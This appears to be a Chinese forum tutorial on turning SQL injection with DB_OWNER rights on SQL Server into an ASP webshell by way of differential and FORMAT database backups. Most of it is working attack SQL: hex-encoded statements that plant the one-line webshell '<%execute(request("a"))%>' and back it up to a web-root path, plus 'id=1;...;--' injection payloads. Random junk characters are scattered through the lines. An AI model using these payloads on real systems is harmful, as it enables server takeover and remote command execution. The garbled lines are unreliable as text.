DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

' ], B# W6 ^. R0 ?- X, s减少备份文件大小，得到可执行的webshell成功率提高不少
一利用差异备份
' q4 M  o4 L. K  ?: n6 F加一个参数WITH DIFFERENTIAL

1
2
- Y5 U/ M$ {1 h: p, ?3
4
# ?" |+ d) [( q declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ J! h8 L2 z% y4 p; `9 k- pcreate table [dbo].[xiaolu] ([cmd] [image]);
: K# f# R8 u6 R' q) B0 ^& s" Sinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
# h9 Q7 G& T4 Z% Q/ Edeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
6 Y+ b! v/ t0 \1 |+ F% j, F( n% k
: L# O8 h  a- M& B二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
/ e8 r, D$ Z4 w
1
2
3
& z- h; }& m, C7 n0 P/ j- s, j( ^4
* O4 u4 s2 Q3 N declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
* o( w* d. q0 f5 Y4 ]# Z7 y: hcreate table [dbo].[xiaolu] ([cmd] [image]);
% F" ]9 P3 C! n0 _9 N2 W8 v5 J: M7 xinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
4 s+ j0 Z& Y7 v2 }# {# h! f
总的来说就是那么简单几句,下面以备份数据库model为例子
1

1
4 f( s6 t& N# L4 Y- D" c7 u8 L4 H id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2

1
id=1;backup database model to disk='你的路径‘ with differential,format;--